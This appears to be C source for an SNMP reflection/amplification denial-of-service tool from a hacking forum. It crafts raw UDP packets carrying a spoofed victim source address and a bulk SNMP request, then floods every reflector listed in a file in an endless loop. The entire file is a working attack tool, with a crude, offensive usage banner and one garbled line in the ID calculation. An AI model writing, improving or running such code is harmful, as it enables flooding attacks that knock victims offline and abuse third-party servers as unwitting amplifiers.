1. #include <stdio.h>
2. #include <netinet/ip.h>
3. #include <sys/socket.h>
4. #include <arpa/inet.h>
5. #include <netinet/udp.h>
6. #include <string.h>
7. #include <stdlib.h>
8. #include <errno.h>
9. #include <sys/types.h>
10. #include <asm/types.h>
11.  
12. /*
13. Excuse is well hung
14. */
15.  
16. char payload[] = "\x30\x23\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x16\x02\x02\x4e\x47"
17. "\x02\x01\x00\x02\x02\x08\xca\x30\x09\x30\x07\x06\x03\x2b\x06\x01\x05\x00";
18.  
19. struct iphdr ip_head;
20. struct udphdr udp_head;
21. struct sockaddr_in target;
22.  
23. struct udp_pseudo /*the udp pseudo header*/
24. {
25. unsigned int src_addr;
26. unsigned int dst_addr;
27. unsigned char dummy;
28. unsigned char proto;
29. unsigned short length;
30. } pseudohead;
31.  
32. struct help_checksum /*struct for checksum calculation*/
33. {
34. struct udp_pseudo pshd;
35. struct udphdr udphd;
36. } udp_chk_construct;
37.  
38. unsigned short in_cksum(unsigned short *addr,int len)
39. {
40. register int nleft=len;
41. register unsigned short *w=addr;
42. register int sum=0;
43. unsigned short answer=0;
44.  
45. while(nleft>1)
46. {
47. sum+=*w++;
48. nleft-=2;
49. }
50. if(nleft==1)
51. {
52. *(u_char *)(&answer)=*(u_char *)w;
53. sum+=answer;
54. }
55. sum=(sum >> 16)+(sum & 0xffff);
56. sum+=(sum >> 16);
57. answer=~sum;
58. return(answer);
59. }
60.  
61. void send_udp(int sfd,unsigned int src,unsigned short src_p,
62. unsigned int dst,unsigned short dst_p,char *buffer,int len)
63. {
64. char *packet;
65. int i;
66.  
67. /*Prepare IP header*/
68. ip_head.ihl = 5; /*headerlength with no options*/
69. ip_head.version = 4;
70. ip_head.tos = 22;
71. ip_head.tot_len = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
72. ip_head.id = htons(30000 + (rand()0));
73. ip_head.frag_off = 0;
74. ip_head.ttl = 64;
75. ip_head.protocol = IPPROTO_UDP;
76. ip_head.check = 0; /*Must be zero for checksum calculation*/
77. ip_head.saddr = src;
78. ip_head.daddr = dst;
79.  
80. ip_head.check = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));
81.  
82. /*Prepare UDP header*/
83. udp_head.source = htons(src_p);
84. udp_head.dest = htons(dst_p);
85. udp_head.len = htons(sizeof(struct udphdr)+sizeof(payload)-1);
86. udp_head.check = 0;
87.  
88. /*Assemble structure for checksum calculation and calculate checksum*/
89. pseudohead.src_addr=ip_head.saddr;
90. pseudohead.dst_addr=ip_head.daddr;
91. pseudohead.dummy=0;
92. pseudohead.proto=ip_head.protocol;
93. pseudohead.length=htons(sizeof(struct udphdr)+sizeof(payload)-1);
94. udp_chk_construct.pshd=pseudohead;
95. udp_chk_construct.udphd=udp_head;
96. packet=malloc(sizeof(struct help_checksum)+sizeof(payload)-1);
97. memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum)); /*pre-assemble packet for*/
98. memcpy(packet+sizeof(struct help_checksum),buffer,sizeof(payload)-1); /*checksum calculation*/
99. udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+sizeof(payload)-1);
100. free(packet);
101.  
102. /*Assemble packet*/
103. packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
104. memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
105. memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr));
106. memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,sizeof(payload)-1);
107.  
108. /*Send packet*/
109. target.sin_family = AF_INET;
110. target.sin_addr.s_addr= ip_head.daddr;
111. target.sin_port = udp_head.source;
112. sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1,0,
113. (struct sockaddr *)&target,sizeof(struct sockaddr_in));
114. free(packet);
115. }
116.  
117. int main(int argc, char *argv[]) {
118. int i=0;
119. unsigned int srcip, dstip;
120. char *data;
121. data=malloc(sizeof(payload)+sizeof(payload)-1);
122. memcpy(data, payload, sizeof(payload)-1);
123. char* aline = calloc(16, sizeof(char) );
124.  
125. if(argc < 3) {
126. printf("BitchGotRaped - hackforums - 2011\n", argv[0]);
127. exit(1);
128. }
129.  
130. if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) /*open sending socket*/
131. {
132. perror("socket");
133. exit(1);
134. }
135.  
136. for(;;) {
137. FILE* fp = fopen( argv[2], "r" );
138. /* skip fopen checking because its not really necessary for what we're doing*/
139.  
140. while ( !feof(fp) )
141. {
142. fscanf( fp, "%s\n", aline );
143. srcip = inet_addr(argv[1]);
144. dstip = inet_addr(aline);
145. send_udp(i,srcip,161,dstip,161,payload,sizeof(payload)-1);
146. memset( aline, 0, 16 );
147. }
148. fclose(fp);
149. }
150. return 0;
151. }